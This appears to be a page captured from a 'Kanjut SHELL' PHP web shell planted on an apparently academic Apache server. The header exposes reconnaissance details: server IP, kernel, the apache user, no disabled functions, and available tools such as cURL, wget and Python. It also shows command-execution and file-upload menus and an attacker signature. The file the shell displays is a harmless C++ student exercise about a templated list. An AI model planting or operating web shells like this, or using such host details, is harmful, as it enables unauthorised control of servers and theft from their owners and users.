Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.219.176.215
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jwang/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jwang/www/ex8.cpp
// function template
#include <iostream>
using namespace std;

// prototypes
void menu();
void menuForList ();
template<class T> void process();
const int MAX = 100;

template <class T>
class List
{ 	
	int length;
	T data[MAX];
public:
	List () 
	{ 	length = 0; }
	int Length ( ) const
	{ 	return length; }
	void Insert ( T item ) 
	{ 	data[ length ] = item;
		length ++;
	}
	void Print() const
	{       for(int k=0; k<length; k++)
                cout<< "\t" << data[k]  << endl;
	}
};

int main()
{
	char ch;

	menu();
	cin >> ch;

	while(tolower(ch) != 'q')
	{
		switch (tolower(ch))
		{	case 'i':	
				cout << "\n\n\n\tNow play with the integer list ... ";
				process<int>();
				break;
			case 'c':
				cout << "\n\n\n\tNow play with the char list ... ";
				process<char>();	
				break;
			case 's':
                                cout << "\n\n\n\tNow play with the string list ... ";
                                process<string>();
				break;
			default:
				cout << "\n\tInvalid, redo it\n\n";
		}
		menu();
		cin >> ch;
	}

	cout << "\n\n\tBye.\n\n";
	return 0;
}

//---------------------------------
template<class T>
void process()
{	char selection;
	List<T> z;
	T item;

	menuForList ();
	cin >> selection;
	while(tolower(selection) != 'q')
	{
		switch (tolower(selection))
		{
			case 'i':	
				cout << "\tInput an item: ";
				cin >> item;
				z.Insert(item);	break;
			case 'p':
				cout << "\n\n\tThe list is: \n";
				z.Print();	break;
			default:
				cout << "\n\n\tInvalid. Try again ...\n\n";
		}
		menuForList ();
	        cin >> selection;
	}
}

//---------------------------------
void menu()
{
	cout << "\n\n\t--- Welcome to the Bigger Game! ---\n";
	cout << "\t    =========================\n\n";
	cout << "\tI	Integers\n";
	cout << "\tC	Characters\n";
	cout << "\tS	General strings\n";
	cout << "\tQ	Quit\n";
	cout << "\t--------------------\n";
	cout << "\n\tYour choice: ";
}

void menuForList ()
{	
	cout << "\n\t==========================================\n\n" <<endl;	 
	cout << "\t  I   to insert an item to the list.\n";
	cout << "\t  P   to print the list.\n";
	cout << "\t  Q   to quit the operation.\n";
	cout << "\t \n\tYou choose ...  ";
} 

Stv3n404 - 2023